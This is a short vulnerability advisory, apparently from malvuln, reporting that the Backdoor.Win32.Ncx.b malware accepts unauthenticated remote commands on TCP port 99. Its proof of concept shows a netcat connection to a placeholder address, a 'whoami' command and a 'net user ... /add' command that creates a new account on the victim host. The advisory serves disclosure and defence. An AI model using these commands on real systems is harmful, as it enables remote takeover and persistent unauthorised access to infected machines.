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Backdoor.Win32.Ncx.b MVID-2021-0421 Code Execution

Backdoor.Win32.Ncx.b MVID-2021-0421 Code Execution
Posted Dec 13, 2021
Authored by malvuln | Site malvuln.com

Backdoor.Win32.Ncx.b malware suffers from a code execution vulnerability.

tags | exploit, code execution
systems | windows
SHA-256 | 9e8baa1af3b0909d5573ed9f777c98e696169976a17037dcc96c87e660c65c59

Backdoor.Win32.Ncx.b MVID-2021-0421 Code Execution

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Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/991c1f02c809cee860cb712896a45338.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Ncx.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 99. Third-party attackers who can reach an infected system can execute OS commands further compromising the host.
Type: PE32
MD5: 991c1f02c809cee860cb712896a45338
Vuln ID: MVID-2021-0421
Disclosure: 12/11/2021

Exploit/PoC:
nc64.exe x.x.x.x 99
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user HYP3RLINX HELL /add
net user HYP3RLINX HELL /add
The command completed successfully


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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